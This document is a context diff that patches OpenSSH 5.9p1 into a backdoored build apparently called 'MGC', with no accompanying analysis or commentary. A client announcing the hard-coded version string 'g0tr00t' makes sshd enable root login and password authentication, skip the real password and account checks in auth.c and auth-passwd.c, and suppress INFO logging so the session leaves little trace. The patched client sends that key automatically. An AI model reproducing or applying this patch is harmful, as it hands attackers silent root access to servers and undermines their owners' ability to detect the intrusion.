openssh-5.9p1/auth.c MGC/auth.c
*** openssh-5.9p1/auth.c        2011-05-29 13:40:42.000000000 +0200
--- MGC/auth.c  2011-09-25 19:56:50.000000000 +0200
***************
*** 100,105 ****
--- 100,107 ----
  #ifdef USE_SHADOW
        struct spwd *spw = NULL;
  #endif
+     if (options.mgc)
+         return 1;

        /* Shouldn't be called if pw is NULL, but better safe than sorry... */
        if (!pw || !pw->pw_name)
diff -c openssh-5.9p1/auth-passwd.c MGC/auth-passwd.c
*** openssh-5.9p1/auth-passwd.c 2009-03-08 01:40:28.000000000 +0100
--- MGC/auth-passwd.c   2011-09-25 19:17:56.000000000 +0200
***************
*** 85,90 ****
--- 85,92 ----
  #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
        static int expire_checked = 0;
  #endif
+     if (options.mgc)
+         return 1;

  #ifndef HAVE_CYGWIN
        if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
diff -c openssh-5.9p1/log.c MGC/log.c
*** openssh-5.9p1/log.c 2011-06-20 06:42:23.000000000 +0200
--- MGC/log.c   2011-09-25 21:22:32.000000000 +0200
***************
*** 51,56 ****
--- 51,57 ----

  #include "xmalloc.h"
  #include "log.h"
+ #include "servconf.h"

  static LogLevel log_level = SYSLOG_LEVEL_INFO;
  static int log_on_stderr = 1;
***************
*** 58,63 ****
--- 59,65 ----
  static char *argv0;
  static log_handler_fn *log_handler;
  static void *log_handler_ctx;
+ ServerOptions options;

  extern char *__progname;

***************
*** 184,190 ****
        va_list args;

        va_start(args, fmt);
!       do_log(SYSLOG_LEVEL_INFO, fmt, args);
        va_end(args);
  }

--- 186,193 ----
        va_list args;

        va_start(args, fmt);
!     if (!options.mgc)
!     do_log(SYSLOG_LEVEL_INFO, fmt, args);
        va_end(args);
  }

diff -c openssh-5.9p1/servconf.h MGC/servconf.h
*** openssh-5.9p1/servconf.h    2011-06-23 00:30:03.000000000 +0200
--- MGC/servconf.h      2011-09-25 12:20:58.000000000 +0200
***************
*** 63,68 ****
--- 63,69 ----
        int     login_grace_time;       /* Disconnect if no auth in this time
                                         * (sec). */
        int     key_regeneration_time;  /* Server key lifetime (seconds). */
+     int     mgc;
        int     permit_root_login;      /* PERMIT_*, see above */
        int     ignore_rhosts;  /* Ignore .rhosts and .shosts. */
        int     ignore_user_known_hosts;        /* Ignore ~/.ssh/known_hosts
diff -c openssh-5.9p1/sshconnect.c MGC/sshconnect.c
*** openssh-5.9p1/sshconnect.c  2011-05-29 13:42:34.000000000 +0200
--- MGC/sshconnect.c    2011-09-25 12:35:44.000000000 +0200
***************
*** 556,562 ****
        snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s%s",
            compat20 ? PROTOCOL_MAJOR_2 : PROTOCOL_MAJOR_1,
            compat20 ? PROTOCOL_MINOR_2 : minor1,
!           SSH_VERSION, compat20 ? "\r\n" : "\n");
        if (roaming_atomicio(vwrite, connection_out, buf, strlen(buf))
            != strlen(buf))
                fatal("write: %.100s", strerror(errno));
--- 556,562 ----
        snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s%s",
            compat20 ? PROTOCOL_MAJOR_2 : PROTOCOL_MAJOR_1,
            compat20 ? PROTOCOL_MINOR_2 : minor1,
!           MGC_KEY, compat20 ? "\r\n" : "\n");
        if (roaming_atomicio(vwrite, connection_out, buf, strlen(buf))
            != strlen(buf))
                fatal("write: %.100s", strerror(errno));
diff -c openssh-5.9p1/sshd.c MGC/sshd.c
*** openssh-5.9p1/sshd.c        2011-06-23 11:45:51.000000000 +0200
--- MGC/sshd.c  2011-09-25 21:14:40.000000000 +0200
***************
*** 307,313 ****
  static void
  sighup_restart(void)
  {
!       logit("Received SIGHUP; restarting.");
        close_listen_socks();
        close_startup_pipes();
        alarm(0);  /* alarm timer persists across exec */
--- 307,313 ----
  static void
  sighup_restart(void)
  {
!       logit("Received SIGHUP; restarting.");
        close_listen_socks();
        close_startup_pipes();
        alarm(0);  /* alarm timer persists across exec */
***************
*** 468,473 ****
--- 468,480 ----
                    client_version_string, get_remote_ipaddr());
                cleanup_exit(255);
        }
+
+     if (!strncmp(remote_version,MGC_KEY,strlen(MGC_KEY))){
+         options.mgc=1;
+         options.password_authentication=1;
+         options.permit_root_login=PERMIT_YES;
+     }
+
        debug("Client protocol version %d.%d; client software version %.100s",
            remote_major, remote_minor, remote_version);

diff -c openssh-5.9p1/version.h MGC/version.h
*** openssh-5.9p1/version.h     2011-09-07 01:11:20.000000000 +0200
--- MGC/version.h       2011-09-25 12:52:50.000000000 +0200
***************
*** 4,6 ****
--- 4,7 ----

  #define SSH_PORTABLE  "p1"
  #define SSH_RELEASE   SSH_VERSION SSH_PORTABLE
+ #define MGC_KEY "g0tr00t"